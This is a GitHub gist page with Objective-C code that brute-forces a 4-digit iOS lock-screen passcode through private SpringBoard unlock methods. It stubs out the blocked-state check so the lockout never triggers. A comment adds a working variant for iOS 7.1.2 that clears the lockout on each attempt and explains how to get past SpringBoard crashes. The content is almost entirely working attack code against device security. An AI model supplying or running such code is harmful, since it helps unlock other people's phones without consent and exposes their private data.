Skip to content

Instantly share code, notes, and snippets.

@b3ll
Created March 23, 2015 16:19
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save b3ll/f1766a35f0d4d795560b to your computer and use it in GitHub Desktop.
Save b3ll/f1766a35f0d4d795560b to your computer and use it in GitHub Desktop.
// June 11, 2012
// https://twitter.com/b3ll/status/212169466665111552
-(BOOL)isBlocked
{
return false;
}
-(int)epicWWDCLineHacks
{
for (int i = 0; i <= 9999; i++)
{
NSString *passcode;
if (i < 1000){
//too tired to write formatting code for 0 padding
}
else
{
passcode = [NSString stringWithFormat:@"%d", i];
}
if ([[SBAwayController sharedAwayController] attemptDeviceUnlockWithPasscode:passcode lockViewOwner:nil])
{
NSLog(@"%@", passcode);
break;
}
}
}
@aaronash
Copy link

aaronash commented Nov 9, 2016

Currently using this on an iOS 7.1.2 device:

var passcode = ""
for (var i = 1000; i <= 9999; i++) {
	[[SBDeviceLockController sharedController] _clearBlockedState]
	passcode = [NSString stringWithFormat:@"%d", i];
	if ([[SBDeviceLockController sharedController] attemptDeviceUnlockWithPassword:passcode appRequested: nil]) {
		NSLog(@"FOUND IT! yo yo passcode: %@", passcode);
	} else {
		NSLog(@"not this passcode: %@", passcode);
	}
}

SpringBoard is crashing after about 25-30 tries, so I'm manually restarting the script at the last failed passcode. There's probably a better way... maybe I could write the last failed code to a file and then load it, but then I'd likely want a theos tweak to make it run constantly.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment